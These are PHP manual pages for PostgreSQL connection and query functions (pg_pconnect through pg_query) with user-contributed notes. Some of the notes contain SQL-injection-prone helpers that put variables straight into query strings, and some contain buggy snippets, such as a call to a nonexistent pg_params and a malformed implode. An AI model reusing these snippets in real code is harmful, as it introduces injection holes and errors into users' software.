User Contributed Notes

There are no user contributed notes for this page.


Open a persistent PostgreSQL connection

  • « pg_parameter_status
  • pg_ping »
  • PHP Manual
  • PostgreSQL Functions
  • Open a persistent PostgreSQL connection

pg_pconnect

(PHP 4, PHP 5)

pg_pconnect — Open a persistent PostgreSQL connection

Description

resource pg_pconnect ( string $connection_string [, int $connect_type ] )

pg_pconnect() opens a connection to a PostgreSQL database. It returns a connection resource that is needed by other PostgreSQL functions.

If a second call is made to pg_pconnect() with the same connection_string as an existing connection, the existing connection will be returned unless you pass PGSQL_CONNECT_FORCE_NEW as connect_type.

To enable persistent connection, the pgsql.allow_persistent php.ini directive must be set to "On" (which is the default). The maximum number of persistent connection can be defined with the pgsql.max_persistent php.ini directive (defaults to -1 for no limit). The total number of connections can be set with the pgsql.max_links php.ini directive.

pg_close() will not close persistent links generated by pg_pconnect().

Parameters

connection_string

The connection_string can be empty to use all default parameters, or it can contain one or more parameter settings separated by whitespace. Each parameter setting is in the form keyword = value. Spaces around the equal sign are optional. To write an empty value or a value containing spaces, surround it with single quotes, e.g., keyword = 'a value'. Single quotes and backslashes within the value must be escaped with a backslash, i.e., \' and \\.

The currently recognized parameter keywords are: host, hostaddr, port, dbname, user, password, connect_timeout, options, tty (ignored), sslmode, requiressl (deprecated in favor of sslmode), and service. Which of these arguments exist depends on your PostgreSQL version.

connect_type

If PGSQL_CONNECT_FORCE_NEW is passed, then a new connection is created, even if the connection_string is identical to an existing connection.

Return Values

PostgreSQL connection resource on success, FALSE on failure.

Examples

Example #1 Using pg_pconnect()

<?php
$dbconn = pg_pconnect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_pconnect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

$dbconn3 = pg_pconnect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_pconnect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • Persistent Database Connections

User Contributed Notes

robertb 10-Dec-2008 09:54
You should not use pg_pconnect - it's broken. It will work but it doesn't really pool, and it's behaviour is unpredictable. It will only make you rise the max_connections parameter in postgresql.conf file until you run out of resources (which will slow your database down).

If you have many concurrent connections to your database, you should use the PostgreSQL connection pooler PgBouncer (developed by the Skype-team). When using pgbouncer, make sure you use pg_connect and NOT pg_pconnect. Also, make sure you close your connections with pg_close.

* PGBouncer homepage:
http://developer.skype.com/SkypeGarage/DbProjects/PgBouncer

* PostgreSQL pooling article by Last.fm:
http://www.last.fm/user/Russ/journal/2008/02/21
/zd_postgres_connection_pools:_pgpool_vs._pgbouncer
ts at dev dot websafe dot pl 28-Oct-2007 11:22
<?php
//
// Using pg_pconnect in a class.
//
// Why this? Because the manual says:
//
//   If a second call is made to pg_pconnect() with the same
//   connection_string as an existing connection, the existing
//   connection will be returned unless you pass
//   PGSQL_CONNECT_FORCE_NEW as connect_type.
//
// This is not always true.
//
/**
 * MyClassA creates a postgresql connection using pg_pconnect
 * and stores the resulting resource id to $this->conn
 */
class MyClassA
{
    function __construct($connection_string)
    {
        $this->conn =
            pg_pconnect($connection_string)
                or die('Wrong CONN_STRING');
    }
}

//
// Showing current php.ini settings to be sure
// that persistent connections s  are allowed.
// -1 means 'unlimited'
//
echo '<br>pgsql.allow_persistent: ' . ini_get('pgsql.allow_persistent');
echo '<br>pgsql.max_persistent: ' . ini_get('pgsql.max_persistent');
echo '<br>pgsql.max_links: ' . ini_get('pgsql.max_links');
echo '<br><br>';

// setting one custom connection string for all objects
// (modify $connection_string to fit your needs)
$connection_string =
    'host=localhost port=5432' .
    ' dbname=test user=test password=test';

//
// Creating 10 MyClassA objects using the same $connection_string
//
$objArr = Array();
for ($i = 0; $i < 10; $i++)
{
    $objArr[] = new MyClassA($connection_string);
}

//
// Human readable result:
//
foreach($objArr as $id => $object)
{
    printf(
        '%s: Object %s: using db %s<br>',
        get_class($object), $id, $object->conn
    );
}

/* ------------------------------------------------------------- */
// The result
// pgsql.allow_persistent: 1
// pgsql.max_persistent: -1
// pgsql.max_links: -1
//
// MyClassA: Object 0: using db Resource id #2
// MyClassA: Object 1: using db Resource id #3
// MyClassA: Object 2: using db Resource id #4
// MyClassA: Object 3: using db Resource id #5
// MyClassA: Object 4: using db Resource id #6
// MyClassA: Object 5: using db Resource id #7
// MyClassA: Object 6: using db Resource id #8
// MyClassA: Object 7: using db Resource id #9
// MyClassA: Object 8: using db Resource id #10
// MyClassA: Object 9: using db Resource id #11
//
/* ------------------------------------------------------------- */
//
// Each MyClassA object will use its _own_ database Resource id
//
?>
Dennis Fogg 13-Oct-2007 10:27
As of Aug 2007, some suggestions from the postgresql forums
on pg_pconnect(), faster postgres connections, and connection pooling:

Summary:
http://archives.postgresql.org/pgsql-general/2007-08/msg01406.php

Good details: http://archives.postgresql.org/pgsql-general/2007-08/msg00660.php
Also: http://archives.postgresql.org/pgsql-general/2007-08/msg01489.php
info at karl-philipp dot de 06-Oct-2003 01:05
A contribution to the transaction issue raised by "garrett at bgb dot cc".

In a German book about PostgreSQL in connection with PHP (Cornelia Boenigk, PostgreSQL - Grundlagen, Praxis, Anwendungsentwicklung mit PHP) one can read in chapter 19.3 about persistent connections:
If the page processing aborts and the transaction is not finished yet, the next script using the same persistent connection will be considered as the continuation of the transaction. In particular a lock of a table will persist. The explanation is as follows: After the abort of the script no COMMIT or ROLLBACK was sent to the db server.

The author describes a hint to avoid the scenario above:
You can create a function for resolving transactions and locks erroneously not closed. For invoking the function after execution of a script it has to be registered with the function register_shutdown_function():

 http://de2.php.net/manual/en/function.register-shutdown-function.php
Spiros Ioannou 30-Jan-2003 02:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr 29-Mar-2002 05:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es 10-Mar-2002 10:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc 09-Feb-2002 01:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.
herve at elma dot fr 04-Dec-2000 03:14
For resetting an apache web server and in same time the persistent connections you may use :
./apachectl graceful
dmitri at graphictype dot com 11-May-2000 01:12
How to reset persistent connections:

killall -USR1 httpd


Ping database connection

  • « pg_pconnect
  • pg_port »
  • PHP Manual
  • PostgreSQL Functions
  • Ping database connection

pg_ping

(PHP 4 >= 4.3.0, PHP 5)

pg_ping — Ping database connection

Description

bool pg_ping ([ resource $connection ] )

pg_ping() pings a database connection and tries to reconnect it if it is broken.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_ping() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

if (!pg_ping($conn))
  die("Connection is broken\n");
?>

See Also

  • pg_connection_status() - Get connection status
  • pg_connection_reset() - Reset connection (reconnect)

User Contributed Notes

There are no user contributed notes for this page.


Return the port number associated with the connection

  • « pg_ping
  • pg_prepare »
  • PHP Manual
  • PostgreSQL Functions
  • Return the port number associated with the connection

pg_port

(PHP 4, PHP 5)

pg_port — Return the port number associated with the connection

Description

int pg_port ([ resource $connection ] )

pg_port() returns the port number that the given PostgreSQL connection resource is connected to.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

An int containing the port number of the database server the connection is to, or FALSE on error.

Examples

Example #1 pg_port() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to port: " . pg_port($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Submits a request to create a prepared statement with the given parameters, and waits for completion.

  • « pg_port
  • pg_put_line »
  • PHP Manual
  • PostgreSQL Functions
  • Submits a request to create a prepared statement with the given parameters, and waits for completion.

pg_prepare

(PHP 5 >= 5.1.0)

pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.

Description

resource pg_prepare ([ resource $connection ], string $stmtname , string $query )

pg_prepare() creates a prepared statement for later execution with pg_execute() or pg_send_execute(). This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. pg_prepare() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The function creates a prepared statement named stmtname from the query string, which must contain a single SQL command. stmtname may be "" to create an unnamed statement, in which case any pre-existing unnamed statement is automatically replaced; otherwise it is an error if the statement name is already defined in the current session. If any parameters are used, they are referred to in the query as $1, $2, etc.

Prepared statements for use with pg_prepare() can also be created by executing SQL PREPARE statements. (But pg_prepare() is more flexible since it does not require parameter types to be pre-specified.) Also, although there is no PHP function for deleting a prepared statement, the SQL DEALLOCATE statement can be used for that purpose.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_prepare()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

See Also

  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

User Contributed Notes

geompse at gmail dot com 10-Apr-2012 08:04
The given name cannot be the statement itself.
It has a maximum length and will truncate.

If two queries begin the same way, only the first one will be used.
andy at petdance dot com 28-Dec-2007 04:57
Any error in the prepare is available from pg_last_error().
mike at musskopf dot com 26-Sep-2007 11:14
I had some problems with this function. When you use pg_prepare() with a function like date_trunc('day', $1) you need to specify the data type.

The solution was use the Pear MDB2 but with some changes in code. The original code try to use pg_prepare() too, with errors.
rodrigo at fabricadeideias dot com 07-Nov-2006 01:05
If you decide to deallocate (unprepare) a previously prepared sql command it might be better to quote the sql name as in

  DEALLOCATE "theNameOfMySQL"

instead of (the more natural)

  DEALLOCATE theNameOfMySQL

PostgerSQL preserves the case of your identifiers if, and only if, you quote them. The pg_prepare function preserves the case of the sql name you use.

A complete example would be

  $sql = 'SELECT * FROM user WHERE cod_user = $1';
  $sqlName = 'selectUserByCode';
  if (!pg_prepare ($sqlName, $sql)) {
    die("Can't prepare '$sql': " . pg_last_error());
  }
  $rs = pg_execute($sqlName, array(1));
  do whatever you want with $rs and finally
  $sql = sprintf(
    'DEALLOCATE "%s"',
    pg_escape_string($sqlName)
  );
  if(!pg_query($sql)) {
    die("Can't query '$sql': " . pg_last_error());
  }
scott dot marlowe at gmail dot com 07-Mar-2006 04:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org 16-Apr-2005 05:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
    table_a a
LEFT JOIN
    table_b b
ON (
    a.a_id = b.a_id
)
JOIN
    table_c c
ON (
    b.c_id = c.c_id
)
WHERE c.name = $1
SQL;


Send a NULL-terminated string to PostgreSQL backend

  • « pg_prepare
  • pg_query_params »
  • PHP Manual
  • PostgreSQL Functions
  • Send a NULL-terminated string to PostgreSQL backend

pg_put_line

(PHP 4 >= 4.0.3, PHP 5)

pg_put_line — Send a NULL-terminated string to PostgreSQL backend

Description

bool pg_put_line ([ resource $connection ], string $data )

pg_put_line() sends a NULL-terminated string to the PostgreSQL backend server. This is needed in conjunction with PostgreSQL's COPY FROM command.

COPY is a high-speed data loading interface supported by PostgreSQL. Data is passed in without being parsed, and in a single transaction.

An alternative to using raw pg_put_line() commands is to use pg_copy_from(). This is a far simpler interface.

Note:

The application must explicitly send the two characters "\." on the last line to indicate to the backend that it has finished sending its data, before issuing pg_end_copy().

Warning

Use of the pg_put_line() causes most large object operations, including pg_lo_read() and pg_lo_tell(), to subsequently fail. You can use pg_copy_from() and pg_copy_to() instead.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A line of text to be sent directly to the PostgreSQL backend. A NULL terminator is added automatically.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_put_line() example

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

See Also

  • pg_end_copy() - Sync with PostgreSQL backend

User Contributed Notes

kurt at nospam dot milliganshome dot net 22-Aug-2005 06:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.


Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

  • « pg_put_line
  • pg_query »
  • PHP Manual
  • PostgreSQL Functions
  • Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_query_params

(PHP 5 >= 5.1.0)

pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

Description

resource pg_query_params ([ resource $connection ], string $query , array $params )

Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_query_params() is like pg_query(), but offers additional functionality: parameter values can be specified separately from the command string proper. pg_query_params() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

If parameters are used, they are referred to in the query string as $1, $2, etc. The same parameter may appear more than once in the query; the same value will be used in that case. params specifies the actual values of the parameters. A NULL value in this array means the corresponding parameter is SQL NULL.

The primary advantage of pg_query_params() over pg_query() is that parameter values may be separated from the query string, thus avoiding the need for tedious and error-prone quoting and escaping. Unlike pg_query(), pg_query_params() allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

User-supplied values should always be passed as parameters, not interpolated into the query string, where they form possible SQL injection attack vectors and introduce bugs when handling data containing quotes. If for some reason you cannot use a parameter, ensure that interpolated values are properly escaped.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Values intended for bytea fields are not supported as parameters. Use pg_escape_bytea() instead, or use the large object functions.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_query_params()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Find all shops named Joe's Widgets.  Note that it is not necessary to
// escape "Joe's Widgets"
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// Compare against just using pg_query
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

See Also

  • pg_query() - Execute a query

User Contributed Notes

php at richardneill dot org 23-May-2014 11:55
For a parameterised date, the value NOW() is not allowed (it gets turned into a literal string and makes postgres choke),  however 'now'
is allowed as a parameter, and has the same effect.
php at richardneill dot org 21-May-2014 01:53
Debugging parameterised queries can be tedious, if you want to paste the query directly into PSQL. Here is a trick that helps:

<?php
$sql = "SELECT * from table WHERE col_a = $1 and col_b=$2 and col_c=$3";
$params = array (42, "a string", NULL);

$debug = preg_replace_callback(
        '/\$(\d+)\b/',
        function($match) use ($params) {
            $key=($match[1]-1); return ( is_null($params[$key])?'NULL':pg_escape_literal($params[$key]) );
        },
        $sql);

echo "$debug";
//prints:   SELECT * from table WHERE col_a = '42' and col_b='a string' and col_c=NULL
?>

This works correctly, except in the (unusual) case where we have a literal $N;  the regexp replaces it where it shouldn't.  For example:
<?php
//Both  ' ... $1 ... '   and  $1   get replaced; the former is wrong, the latter is right.
$sql = "SELECT 'Your bill is for $1' AS invoice WHERE 7 = $1";
$params = array(7);
//$debug:  SELECT 'Your bill is for $7' AS invoice WHERE 7 = '7'"
?>
php at richardneill dot org 21-May-2014 01:35
A note on type-juggling of booleans:
pg_query_params() and friends do seamless, automatic conversion between PHP-NULL and SQL-NULL and back again, where appropriate.
Hoever, everything else goes in (and comes out) as a string.
The following approach may be helpful when handling boolean fields:

<?php
$sql = " ... ";
$params = array (1, 2, 3, true, false);

//Convert booleans to 'true' and 'false'.  [NULLS are already handled].
foreach ($params as &$value){
    if (is_bool($value)){
        $value = ($value) ? 'true':'false';
    }
}

//Now do the query:
$result = pg_query_params ($sql, $params);
$row = pg_fetch_assoc ($result,0)  //first row

//For booleans, convert 't' and 'f' back to true and false. Check the column type so we don't accidentally convert the wrong thing.
foreach ($row as $key => &$value){
    $type = pg_field_type($result,pg_field_num($result, $key));
    if ($type == 'bool'){
        $value = ($value == 't');
    }
}

//$row[] now contains booleans, NULLS, and strings.
?>
php at richardneill dot org 21-May-2014 01:20
pg_query_params() *does* accept NULLs.  They will automatically be transformed, correctly, into SQL NULL. Thus, for example:

<?php
$sql = "UPDATE tbl_example SET column_a = $1, column_b=$2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);

//is equivalent to:
$result = pg_query ("UPDATE tbl_example SET column_a = NULL column_b  = '42')";

//and not, as one might fear,  either of these (incorrect) things:
// ... column_a = ''      ...
// ... column_a = 'NULL'  ...
?>

Note that you can use NULLs this way in an UPDATE or INSERT statement, but NOT in a WHERE clause. This isn't a restriction of pg_query_params(), but rather it is a consquence of the SQL language.
So, if you want a query of the type:

<?php
//depending on data,  the where-test parameter may or may not be NULL
//the following is WRONG for $1.
$sql = "SELECT * from  tbl_example WHERE column_a = $1 and column_b = $2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);
?>

This will fail as invalid SQL:  because you should use "= 42" but "IS NULL".  The solution is to use the SQL construct "IS [NOT] DISTINCT FROM".

<?php
$sql = "SELECT ... WHERE column IS NOT DISTINCT FROM $1"
$params = array (42);    //this works, the same as  "where column = 42"
$params = array (NULL);  //this works, the same as "where column is null"
?>

(Aside: though this is annoying, the behaviour is correct. There is a postgresql compatibility option "transform_null_equals", but it won't help you here, even though you might expect it to.)
peter dot kehl+nospam at gmail dot com 25-Oct-2012 06:39
Third parameter $params of pg_query_params() ignores nay part of the string values after a zero byte character - PHP "\0" or chr(0). That may be a result of serialize().

See https://bugs.php.net/bug.php?id=63344
alec at smecher dot bc dot ca 18-Apr-2012 12:17
Note that due to your locale's number formatting settings, you may not be able to pass a numeric value in as a parameter and have it arrive in PostgreSQL still a number.

If your system locale uses "," as a decimal separator, the following will result in a database error:

pg_query_params($conn, 'SELECT $1::numeric', array(3.5));

For this to work, it's necessary to manually convert 3.5 to a string using e.g. number_format.

(I filed this as bug #46408, but apparently it's expected behavior.)
victor dot engmark at terreactive dot ch 15-Jun-2011 12:00
You can't run multiple statements with pg_query_params, but you can still have transaction support without falling back to pg_query:

<?php
$connection = pg_connect("host=127.0.0.1 port=5432 dbname=foo user=bar password=baz");
pg_query($connection, 'DROP TABLE IF EXISTS example');
pg_query($connection, 'CREATE TABLE example (col char(1))');
pg_query($connection, 'INSERT INTO example (col) VALUES (\'a\')');
// 'SELECT col FROM example' in another session returns "a"
pg_query($connection, 'BEGIN');
pg_query_params($connection, 'UPDATE example SET col = $1', array('b'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query_params($connection, 'UPDATE example SET col = $1', array('c'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query($connection, 'COMMIT');
// 'SELECT col FROM example' in another session returns "c"
?>
travismowens at gmail dot com 22-Jul-2010 08:38
Unfortunately the params will not respect string representations of NULL or NOW().  If your code pushes these values, they be considered a string and inserted literally as "NULL" and "NOW()".

Ideally, there should be an additional parameter that you can assign to force this text as pgSQL functions/reserved words and not wrap them up as strings (assuming pgSQL's parameterized queries support this.

This same problem also occurs for comma lists used in "WHERE column IN (1,2,3,4)", params treats "1,2,3,4" as a string, not a list of numbers, and runs it with quotes also.

For debugging, I use this function to simulate params, keep in mind this is not 100% accurate, it only attempts to simulate the actual SQL that param queries create.

<?php
    function pg_query_params_return_sql($query, $array)
    {
        $query_parsed = $query;

        for ($a = 0, $b = sizeof($array); $a < $b; $a++)
        {
            if ( is_numeric($array[$a]) )
            {
                $query_parsed = str_replace(('$'.($a+1)), str_replace("'","''", $array[$a]), $query_parsed );
            }
            else
            {
                $query_parsed = str_replace(('$'.($a+1)), "'".str_replace("'","''", $array[$a])."'", $query_parsed );
            }
        }

        return $query_parsed;
    }
?>
ac at esilo dot com 01-Jan-2010 07:45
pg_query and pg_query_params can be combined into a single function.  This also removes the need to construct a parameter array for pg_query_params:

<?php
function my_query($conn, $query)
{
  if(func_num_args() == 2)
    return pg_query($conn, $query);

  $args = func_get_args();
  $params = array_splice($args, 2);
  return pg_query_params($conn, $query, $params);
}
?>

Usage:

<?php
/* non-parameterized example */
my_query($conn, "SELECT $val1 + $val2");

/* parameterized example */
my_query($conn, "SELECT $1 + $2", $val1, $val2);
?>
strata_ranger at hotmail dot com 24-May-2009 06:03
Regarding boolean values, just typecast them as (integer) when passing them in your query -- '0' and '1' are perfectly acceptable literals for SQL boolean input:

- http://www.postgresql.org/docs/8.2/interactive/datatype-boolean.html

It is also safe to write your paramerized query in double-quotes, which allows you to mix constant values and placeholders in your query without having to worry about how whether PHP will attempt to substitute any variables in your parameterized string.

Of course this also means that unlike PHP's double-quoted string syntax, you CAN include literal $1, $2, etc. inside SQL strings, e.g:

<?php
// Works ($1 is a placeholder, $2 is meant literally)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1));

// Throws an E_WARNING (passing too many parameters)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1, $data2));
?>
jsnell at e-normous dot com 27-Sep-2007 12:57
When inserting into a pg column of type bool, you cannot supply a PHP type of bool.  You must instead use a string "t" or "f". PHP attempts to change boolean values supplied as parameters to strings, and then attempts to use a blank string for false.

Example of Failure:
pg_query_params('insert into table1 (bool_column) values ($1)', array(false));

Works:
pg_query_params('insert into lookup_permissions (system) values ($1)', array(false ? 't' : 'f'));
dt309 at f2s dot com 22-Dec-2006 09:11
If you need to provide multiple possible values for a field in a select query, then the following will help.

<?php
// Assume that $values[] is an array containing the values you are interested in.
$values = array(1, 4, 5, 8);

// To select a variable number of arguments using pg_query() you can use:
$valuelist = implode(', ', $values);
$query = "SELECT * FROM table1 WHERE col1 IN ($valuelist)";
$result = pg_query($query)
    or die(pg_last_error());

// You may therefore assume that the following will work.
$query = 'SELECT * FROM table1 WHERE col1 IN ($1)';
$result = pg_query_params($query, array($valuelist))
    or die(pg_last_error());
// Produces error message: 'ERROR: invalid input syntax for integer'
// It only works when a SINGLE value specified.

// Instead you must use the following approach:
$valuelist = '{' . implode(', ', $values . '}'
$query = 'SELECT * FROM table1 WHERE col1 = ANY ($1)';
$result = pg_query_params($query, array($valuelist));
?>

The error produced in this example is generated by PostGreSQL.

The last method works by creating a SQL array containing the desired values. 'IN (...)' and ' = ANY (...)' are equivalent, but ANY is for working with arrays, and IN is for working with simple lists.
mledford 04-Oct-2006 05:18
If you are trying to replicate the function pg_query_params, you might also want to support NULL values. While is_int returns true for a NULL value, the formatting for the SQL.

function pg_query_params( $db, $query, $parameters ) {
    // Escape parameters as required & build parameters for callback function
    global $pg_query_params__parameters;
    foreach( $parameters as $k=>$v ) {
        if ( is_null($v) ) {
            $parameters[$k] = 'NULL';
        } else {
            $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
        }
    }
    $pg_query_params__parameters = $parameters;

    // Call using pg_query
    return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query));
}
cc+php at c2se dot com 02-Sep-2006 02:17
This is a useful function for preventing SQL injection attacks, so, for those of us who are not yet able to upgrade to PHP5.1, here is a replacement function which works similarly on older versions of PHP...

<?php   # Parameterised query implementation for Postgresql and older versions of PHP

        if( !function_exists( 'pg_query_params' ) ) {

                function pg_query_params__callback( $at ) {
                        global $pg_query_params__parameters;
                        return $pg_query_params__parameters[ $at[1]-1 ];
                }

                function pg_query_params( $db, $query, $parameters ) {

                        // Escape parameters as required & build parameters for callback function
                        global $pg_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
                        $pg_query_params__parameters = $parameters;

                        // Call using pg_query
                        return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query ) );

                }
        }

        // Example: pg_query_params( $db_resource, "SELECT * FROM table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );
?>


Execute a query

  • « pg_query_params
  • pg_result_error_field »
  • PHP Manual
  • PostgreSQL Functions
  • Execute a query

pg_query

(PHP 4 >= 4.2.0, PHP 5)

pg_query — Execute a query

Description

resource pg_query ([ resource $connection ], string $query )

pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.

If an error occurs, and FALSE is returned, details of the error can be retrieved using the pg_last_error() function if the connection is valid.

Note: Although connection can be omitted, it is not recommended, since it can be the cause of hard to find bugs in scripts.

Note:

This function used to be called pg_exec(). pg_exec() is still available for compatibility reasons, but users are encouraged to use the newer name.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

query

The SQL statement or statements to be executed. When multiple statements are passed to the function, they are automatically executed as one transaction, unless there are explicit BEGIN/COMMIT commands included in the query string. However, using multiple transactions in one function call is not recommended.

Warning

String interpolation of user-supplied data is extremely dangerous and is likely to lead to SQL injection vulnerabilities. In most cases pg_query_params() should be preferred, passing user-supplied values as parameters rather than substituting them into the query string.

Any user-supplied data substituted directly into a query string should be properly escaped.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 pg_query() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

Example #2 Using pg_query() with multiple statements

<?php

$conn = pg_pconnect("dbname=publisher");

// these statements will be executed as one transaction

$query = "UPDATE authors SET author=UPPER(author) WHERE id=1;";
$query .= "UPDATE authors SET author=LOWER(author) WHERE id=2;";
$query .= "UPDATE authors SET author=NULL WHERE id=3;";

pg_query($conn, $query);

?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_num_rows() - Returns the number of rows in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

Anonymous 18-Dec-2013 07:00
Here is my small function to make it easier for me to use data from select queries (attention, it is sensitive to sql injection)
<?php
function requestToDB($connection,$request){
    if(!$result=pg_query($connection,$request)){
        return False;
    }
    $combined=array();
    while ($row = pg_fetch_assoc($result)) {
        $combined[]=$row;
    }
    return $combined;
}
?>

Example:
<?php
$conn = pg_pconnect("dbname=mydatabase");

$results=requestToDB($connect,"select * from mytable");

//You can now access a "cell" of your table like this:
$rownumber=0;
$columname="mycolumn";

$mycell=$results[$rownumber][$columname];
var_dump($mycell);
a dot mcruer at live dot com 18-May-2013 03:46
A quick note for novice users: when gathering input from fields on a web form that maintains a database connection, *never* use pg_query to do queries from the field. Always sanitize input using pg_prepare and pg_execute.
sd at dicksonlife dot com 14-Sep-2006 09:40
Took me a while to track this down so I thought it might be useful for others:

If you use stored procedures and need to get result sets back from them:

function dbquery($link,$query){
  pg_query($link,"BEGIN;");
  $tr=pg_query($link,$query);
  $r=pg_fetch_row($tr);
  $name=$r[0];
  $rs=pg_query($link,"FETCH ALL IN \"" . $name . "\";");
  pg_query($link,"END;");
  return $rs;
